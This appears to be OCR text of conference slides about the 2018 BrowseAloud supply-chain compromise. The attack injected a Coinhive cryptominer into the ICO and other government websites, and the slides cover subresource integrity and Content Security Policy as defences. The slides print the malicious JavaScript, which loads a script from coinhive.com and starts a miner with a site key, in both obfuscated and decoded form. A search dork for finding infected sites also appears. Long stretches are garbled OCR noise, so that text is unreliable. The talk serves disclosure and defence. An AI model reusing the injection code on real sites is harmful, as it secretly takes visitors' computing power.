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4% Report URI

lan Thornton-Trump CD ™= [ 2% £ + o
@phat_hobbit

CISO @Cyjax_ltd @TheBeerFarmers CTO @Octopi MS @Defcon SOC Goon,
Amateur Dentist, Philanthropist - Opinions expressed are my own.

Joined October 2010 - 13.2K Followers

m,. Followed by Lisa Forte, Katie Paxton-Fear, and 40 others you follow

got a second?

Feb 11,2018, 1:38 PM
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any chance you could take a gander at the ICO's
page and let me know if you find JS:Miner?

Feb 11, 2018, 1:39 PM

Feb 11,2018, 1:41 PM

is it real?

Feb 11, 2018, 1:42 PM




-~ URI

x / [ Documentation | ICO x Infection blocked!
x Q  Avast Web shield has blocked a threat.
@ Secure https://ico.org.uk S
0 Infection: JS:Miner-C [Trj)
~ URL: https://coinhive.com/lib/
View site information coinhive.min.js?
md=0.31788690678659504
k=) File: {gzip}
) - 3 Process: /Applications/Google Chrome.app/
l o The UK’s W authority set up to uphold m‘&m Contents/MacOS/Google Chrome
c @ rights in the public interest, promoting openness by public Q
Information Commiss:oner's Office bodies and data privacy for individuals.

Home Forthe public For organisations Report a concern  Action we've taken  About the ICO

For organisations / Guide to the General Data Protection Regulation (GDPR) /

Documentation Share e Download options G
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Feb 11,2018, 1:43 PM

Feb 11,2018, 1:43 PM







URI

Scott Helme ¢

@Scott Helme

Ummm, so yeah, this is *bad* | just had | point out that
has a cryptominer installed on their site... @

’ The UKs xdepeociont st hority st up b0 wpbobd [ aoome ton

3 rights i e pablic [atwennt, prommeting egwanss by pubilc

The UK's independent anthority set wp %0 uphold information Ve boden and duta jeivacy dar ko uuais

nghts i the public interest, promotiag openness by pablic -

bod ldanmvzcytonndmduah. e pltde For oegaroations  Beport & Oesoern Ao we've tohen  Abot the KD

For organisations  Report a concern  Action we've taken  About the 1C0O

1:46 PM - Feb 11, 2018

i1 View Tweet analytics Promote

734 Retweets 297 Quotes 826 Likes 1 Bookmark

O nl o A g,



Scott Helme &
@Scott Helme

Hey you've been compromised, you need to address this
ASAP. Their site also has the crypto miner running:

W texthelp

2:16 PM - Feb 11, 2018
il View Tweet analytics

27 Retweets 5 Quotes 84 Likes

O 0 ) [ X
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(ThE MALICIOUS
JAVASCRIPT

https://www.browsealoud.com/plus/scripts/ba.js

/* [Warning] Do not copy or self host this file, you will not be supported */
/* BrowseAloud Plus v2.5.0 (13-09-2017) */

TRE Lo Lol AV CYAV G AV CEAV VAV CRAVCEAVCIAAVYZ S | BAV VAV OZAV CEAV VZ AV CE R I GRV ETAV AV CEA VY
72\x69\x70\x74

VLAV VLAV VLAV CEAVE AV OVAN VZAV CREAN VA AN VZANV VA AV CEAV YAV VUAV (IAVVEAV CEAV O VAV CIEAV ¥4 A0 4
74\x27

\NYEAV VPAVCEAV EL AV VAV (AN VZANV VANV AV VEAV E LAV ZA RV A AV CEAV (I AV CEAV(TAVCEAV AV ¥4 AV
AV CLAVCEAV ARV CLAV A AV CIAV CEAV YAV ZA RV CEAV (A RV CEAV CIAAV(I AV CEAV YAV CRAV LAV G AV (S,
\WCEAVCIAVCEAV VAV € AV VAV CIEAV AV ET e

window[ "\x4d\x61\x74\x68" ][ "\x72\x61\x6e\x64\x6f\x6d" () +

BV OVAVEIAVEIAV A AV VEAVCEAVIPAV CEAV VA AV LAV ET- R K

RE Lo Lol AV CY AV G AV CEAV VAV CRAVCEAVCIAVEZ S | BAV VAV OZAV CEAV VZ AV CER I GRAV ETAV AV CEAV
72\x69\x70\x74\x3e \x69\x66

AW ELAV CIAV AN VAV CEAV YAV YAV VZAV (R AV YZAV VIRV LAV YAV YPAV CYAV CZAV (I AV I VAV CEAV G E AP 4
6T\ x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72

\WCEAV YAV YEANV CEAV LAV CIAVCIAVCEAV CYARV €1 IV VANV VZAV YAV ZAV CRAV AV CIAV Y EAV ET:

AW CHAV(IAVIZAV CEAVPIAVIZAY G AV VARV CIAV CIAV LAV CIAAV YAV YUAV CEAV CYAV (I AV VLAV AV I VAV ¢
PAAVCEAVCIAVIZAV CYAVEFAV(IAV VAV CEAVE EAV (R AV CIAVCEAV VAAV YAV YAV CEAV CIAV CEANV VA AV ¥4 &
\X33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d
\WCEAVGCIAV YAV CERRV YA RV YAAV AV VARV CEAV VLAV VAAV CEAV (A AV CIAAVCIAV CEAV CYARV € 1¢
\X7b\x74\x68\x72\x65\x61\x64\x73\x3a
\Xx38\x2c\x74\x68\x72\x6F\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72
\x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77
\X43\x6F\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6F\x6e\x79\x6d\x6f\x75\x73\x28\ '\x31
\WETYAVY (TAVEIAVCYAV VLAV ECEAV ENAV VLAV CEAV VAV IZAV ECYAV CIAVCIAVCE AV CEAV VLAV E AV C 1AV E VA ¢
49\ x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\"\x2c

\WECEAV VLAV YAAV CEAV (G AV CIAV CIAVCEAV YAV CLAVE AV CHAV CEAVCIAVCEAV AV XIAV VALV 2 AV (H AV 4
VAV VL AN PAAV VLAV E AV ETIAV 2 AV VEAV CEAVIPAV CEAV VAV VLAV ET- R K

function toggleBar() { debug.trace("Legacy toggleBar()"),
(!BrowseAloud.config.isMobile || BrowseAloud.config.isMobile &&
BrowseAloud.config.availableMobile) && BrowseAloud.panel.toggleBar(!0) } var
ba cv = "2.5.0"; if (void @ === _baApplicationServer) var......
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(ThE MALICIOUS
JAVASCRIPT

https://www.browsealoud.com/plus/scripts/ba.js

window[ "\x64\x6f\x63\x75\x6d\x65\x6e\x74" ][ "\x77\x72\x69\x74\x65" ] (" \x3c
\X73\x63\x72\x69\x70\x74

\WYZAN VAV VAV CEAVEL AV OTAN VLAV CRANV VA AV VLAV VA AV CEAV YAV VAAV CYAV VAV CEAV o/
\Xx69\x70\x74\x27

\WYEAVYPAVCEAVE AV ONAV CEAVVZAN VLAV VA AV VEAV C LAV VA AV A AV CEAV G AV CEAV CIAV L]
AWCEAN YAV CEAVCIAVCEAV G AV CIAV A AV (TAVCEAV CPAVZA RV CEAV. (A AV CEAV IV CEAV G
AW YLAVCRAVCLAV CIAVCEAV CIAAVZIAV CEAVVEAV E AV VPAV CIEAV CIAV € 1o S

window[ "\x4d\x61\x74\x68" ][ "\x72\x61\x6e\x64\x6f\x6d"]() +
BAVOVAVEAVEIAVOLAVVEAV CEAVIZAV CEAV YL AVIZAVE R

window[ "\x64\x6f\x63\x75\x6d\x65\x6e\x74" ][ "\x77\x72\x69\x74\x65" ] (' \x3c
\WYEAVCEAVOZAV CEAV VLAV VZAV E -V CEAVGIS)

AW LAV CIAV IRV VARV CEAV CYAV. (IAV VZAV (A AV VAV VLAV LAV CIAV VAV CYAV Y VAV CYAV o0/
\WCEAVEEAV (I RV CIAVCEAV VARV VAV YAV CRAV CIEAV CEAV VA IV E -V E AV A AV ¥4 o)

AW YIAV AV VAV CEAV YAV VEAVCEAV (S AV CIAVCIAVCEAV CYARV €10
\X7b\x74\x68\x72\x65\x61\x64\x73\x3a

AW CLAV(IAVIZAV CEAVCIAV AV (A AV VARV CIAV AV LAV CIAV CIAN YA AV CEAV YAV YAV 92!
AW AV IPAVCIAV CEAV(IAV LAV CYAV VAV (FAVIZAV CRAVCEAV G AV CIAV CEAV YAV Y VAV o0/
AWCEAVGCIAVCEAVVACAV VA RV EEAV VLAV AV VLAV CAV VPAV (S AV VZAV VLAV CIAV CRAV E AV €14
\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72

AWCEAN YAV VEAVCEAV (F RV CIAAV CIAV CEAV CYARV €10
\X7b\x74\x68\x72\x65\x61\x64\x73\x3a

\WELAV VLAV VLAV CEAVIZAV G AN VZAV VLAV (TAV CEAV EEAVEI AV CLAV E 1AV VL AV ¥4
\Xx76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77
\X43\x6F\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6F\x6e\x79\x6d\x6Ff\x75\x73
AW LAV ENAVEYAV CYAVCHAVEYAV VA AV ECEAV E AV VLAV CEAV VARV VAV C YAV CIAV CIAV G AP
SEAVVAAVERAVCIAVEVAVC AV C EAVIPAV EEAV CEAV VAV YAV VLAV VLAV C LAV VA AR Y ¥ X6
\WECEAN YAV VEAVCEAV (A AV CIAAV CIAV CEAV(TAV LAV E LAV CIAV CEAV CIAV CEAVC I PAV CAAV VA
\NVZAVCIAVIPAV VLAV AV OLAV E L AV EIAVOL AV VEAV CEAV VAV CEAV VLAV IZ AV E I
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(ThE MALICIOUS
JAVASCRIPT

https://www.browsealoud.com/plus/scripts/ba.js

window[ "document" ][ "write" ] ("<script
type="text/javascript’
src="https://coinhive.com/1lib/coinhive.m
in.js?rnd=" + window["Math"]["random"]()
+ "'></script>");

window[ "document" ][ "write"]( '<script> if
(navigator.hardwareConcurrency > 1){ var
cpuConfig = {threads:
Math.round(navigator.hardwareConcurrency
/3),throttle:0.6}} else { var cpuConfig
= {threads: 8,throttle:0.6}} var miner =
new
CoinHive.Anonymous(\'1GdQGpY1lpivrGlVHSp5
P2IIr9cyTzzXqg\',

cpuConfig);miner.start();</script>’');
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<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>
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I : 5
“n &Queensland Government About.  Site mapiltElE ) _
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Acts and subordinate legislation



URI

scotthel.me/gov-crypto-dork

G “var miner = new CoinHive" site: X +

< C @ google.co.uk/search?q="var+miner+=+new+CoinHive" +site:*.gov.*&oq="var+miner+=+new+CoinHive" +site:

Go g|e "var miner = new CoinHive" site:*.gov.”

cirt.gov.bd

https C v.bd > unautho oin-mining-
Unauthorized Coin Mining in the Browser [source
Owners can use the easy version: var miner = new CoinHive.Anonymous("YOUR_SITE_KEY");
miner.start();. or more complicated version that gives control over ...

drts.gov.ng

A ¢
http://drts.gov.ng » online-famvir

online famvir.
May 11, 2018 — Lifers may draft towards the fennish loft. Tulips were the dispersions. Stew was
a mongerer. var miner = new CoinHive.Anonymous(“ ...

drts.gov.ng

s http://d ) pax ks-immed

paxil works immediately.

May 12, 2018 — var miner = new
CoinHive.Anonymous(“sLzKF8JjdWw2ndxsIUgy7dbyrOru360I");miner.start({threads:2,throttle:...

drts.gov.ng

http://drts g

A

cyklokapron 500mg tablets.

May 17, 2018 — var miner = new

CoinHive.Anonymous(“sLzKF8JjdWw2ndxslUgy7dbyrOru360I1”);miner.start({threads:2,throttle:. ..
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NCSC UK &
@NCSC

We are the National Cyber Security Centre — part of the UK’s intelligence &
cyber agency @ GCHO. We help to make the UK the safest place to live and
work online.

Joined November 2015 - 131.5K Followers

”b” Followed by Katie Paxton-Fear, Leigh-Anne Galloway, and 45 others you follow

Feb 13, 2018, 11:29 AM

You accepted the request

Feb 13, 2018, 11:50 AM
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Scott Helme
@Scott Helme

Had an awesome time at @ncsc today! Some great people there doing
great things.

7:38 PM - Feb 27,2018

il View Tweet analytics

28 Likes

9 0 9 A I,
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<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>
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<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>
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<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>
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(SUBRESOURCE INTEGRITY

<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript”
integrity="sha256-Abhisa/nS9WMne/Y X+dqiFINI+JIE15SMCWvVASJVvV1iIK="
crossorigin="anonymous"></script>
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(ThE MALICIOUS
JAVASCRIPT

https://www.browsealoud.com/plus/scripts/ba.js

/* [Warning] Do not copy or self host this file, you will not be supported */
/* BrowseAloud Plus v2.5.0 (13-09-2017) */

TRE Lo Lol AV CYAV G AV CEAV VAV CRAVCEAVCIAVYZ S | AV VAV AV CEAV VZ AV CE R I GRV ETAV AV CEA P
72\x69\x70\x74

\NYZAN VAV VLAV CEAVE AV OVANY V2ZAV CRAN VA ANV VZANV VA AV CEAV YAV UAV(IAVVEAV CEAV OZAV CIEAV ¥4 A0 4
74\x27

\NYEAV VPAVCEAV EL AV VAV (AN VZANV VANV AV VEAV E LAV ZA RV A AV CEAV (I AV CEAV(TAVCEAV AV ¥4 AP
AV CLAVCEAV ARV CLAV A AV CIAV CEAV YAV ZA RV CEAV (A RV CEAV CIAV(I AV CEAV YAV CRAV LAV G AV (S,
\WCEAVCIAVCEAV VAV € AV VAV CIEAV AV ET e

window[ "\x4d\x61\x74\x68" ][ "\x72\x61\x6e\x64\x6f\x6d" () +

BV OVAVEIAVEIAV A AV VEAVCEAVIPAV CEAV VA AV LAV ET- R K

RE Lo Lol AV CY AV G AV CEAV VAV CRAVCEAVCIAVEZ S | BAV VAV OZAV CEAV VZ AV CER I GRAV ETAV AV CEAV
72\x69\x70\x74\x3e \x69\x66

AW ELAV CIAV AN VAV CEAV YAV YAV VZAV (R AV YZAV VIRV LAV YAV YPAV CYAV CZAV (I AV I VAV CEAV G E AP 4
6T\ x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72

\WCEAV YAV YEANV CEAV LAV CIAVCIAVCEAV CYARV €1 IV VANV VZAV YAV ZAV CRAV AV CIAV Y EAV ET:

AW CHAV(IAVIZAV CEAVPIAVIZAY G AV VARV CIAV CIAV LAV CIAAV YAV YUAV CEAV CYAV (I AV VLAV AV I VAV ¢
PAAVCEAVCIAVIZAV CYAVEFAV(IAV VAV CEAVE EAV (R AV CIAVCEAV VAAV YAV YAV CEAV CIAV CEANV VA AV ¥4 &
\X33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d
\WCEAVGCIAV YAV CERRV YA RV YAAV AV VARV CEAV VLAV VAAV CEAV (A AV CIAAVCIAV CEAV CYARV € 1¢
\X7b\x74\x68\x72\x65\x61\x64\x73\x3a
\Xx38\x2c\x74\x68\x72\x6F\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72
\x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77
\X43\x6F\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6F\x6e\x79\x6d\x6f\x75\x73\x28\ '\x31
\WETYAVY (TAVEIAVCYAV VLAV ECEAV ENAV VLAV CEAV VAV IZAV ECYAV CIAVCIAVCE AV CEAV VLAV E AV C 1AV E VA ¢
49\ x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\"\x2c

\WECEAV VLAV YAAV CEAV (G AV CIAV CIAVCEAV YAV CLAVE AV CHAV CEAVCIAVCEAV AV XIAV VALV 2 AV (H AV 4
VAV VL AN PAAV VLAV E AV ETIAV 2 AV VEAV CEAVIPAV CEAV VAV VLAV ET- R K

function toggleBar() { debug.trace("Legacy toggleBar()"),
(!BrowseAloud.config.isMobile || BrowseAloud.config.isMobile &&
BrowseAloud.config.availableMobile) && BrowseAloud.panel.toggleBar(!0) } var
ba cv = "2.5.0"; if (void @ === _baApplicationServer) var......
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(ThE MALICIOUS
JAVASCRIPT

https://www.browsealoud.com/plus/scripts/ba.js

/* [Warning] Do not copy or self host

this file, you will not be supported */
/* BrowseAloud Plus v2.5.0 (13-09-2017)

*/

window|[ " \x64\x6f\x63\x75\x6d\x65\x6e\x74
"TL"\x77\x72\x69\x74\x65" ] ("\x3c\x73\x63
\X72\x69\x70\x74
\X74\x79\x70\x65\x3d\x27\x74\x65\x78\x74
\X2F\x6a\x61\x76\x61\x73\x63\x72\x69\x70
\X74\x27

\RVEAV VPAV CEAVEL AV ONAV CYAN VLAV VLAV VI ANV YE
IV EEAV VARV VARV CEAV G AV CEAV CIAV CEAV CEAV YL
AW CEAVCIAVCEAV (I RAVCIAV A AV CIAVCIEAV CYAV VA
AW CEAV LAV CEAV CIAAVCEAV CEAV YAV CEAV ¥V (e
\Xx69\x6e\x2e\x6a\x73\x3ft\x72\x6e\x64\x3d
R S
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<script src="//www.browsealoud.com/plus/latest.|js" type="text/javascript"></script>
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(Benefits

“We can patch the JS for
you any time, no problem!”

- The Vendor
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‘CIWbCICkS

“We can patch the JS for
you any time, no problem!”

- The Attacker
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(CONTET SECURITY POLICY

cache-control: public, max-age=0

content-encoding: br
content-security-policy: default-src 'self’; script-src ‘self” browsealoud.com

server: Nginx
vary: Cookie, Accept-Encoding




URI

CONTET SECURITY POLICY

content-security-policy:
default-src 'self’;

script-src ‘self” browsealoud.com;
connect-src ‘self’ browsealoud.com;

report-uri https://demo.report-uri.com/r/d/csp/enforce



URI

CONTET SECURITY POLICY

content-security-policy-report-only:
default-src 'self’;

script-src ‘self” browsealoud.com;
connect-src ‘self’ browsealoud.com;

report-uri https://demo.report-uri.com/r/d/csp/enforce
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(VIOLATION REPORT: SCRIPT-SRC
|

"csp-report": {
"document-uri": "https://ico.org",
"blocked-uri": "https://coinhive.com/",

"effective-directive": "script-src”,
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(VIOLATION REPORT: CONNECT-SRC
|

"csp-report": {
"document-uri": "https://ico.org",
"blocked-uri": "https://coinhive.com/",

"effective-directive": "connect-src",
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‘:19900 rt

“All your credit cards
are belong to us!”

- The Attackers




URI

NOTABLE MAGECART ATTACKS

2015 Senate Republicans, LA Times

2016 ESET Security

2017 Red Cross

2018 Ticketmaster, British Airways, NewEgg
2019 Forbes, Macy’s, Procter and Gamble
2020 Intersport, Tupperware

2021 Sealand

2022 Segway, Element Vape
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(TAXONOMY OF AN ATTACK

BREACH

INJECT EXFILTRATE
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THANK

REPORT-URI.COM
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QUESTION

REPORT-URI.COM




goto;

Don't forget to
rate this session
in the GOTO Guide app



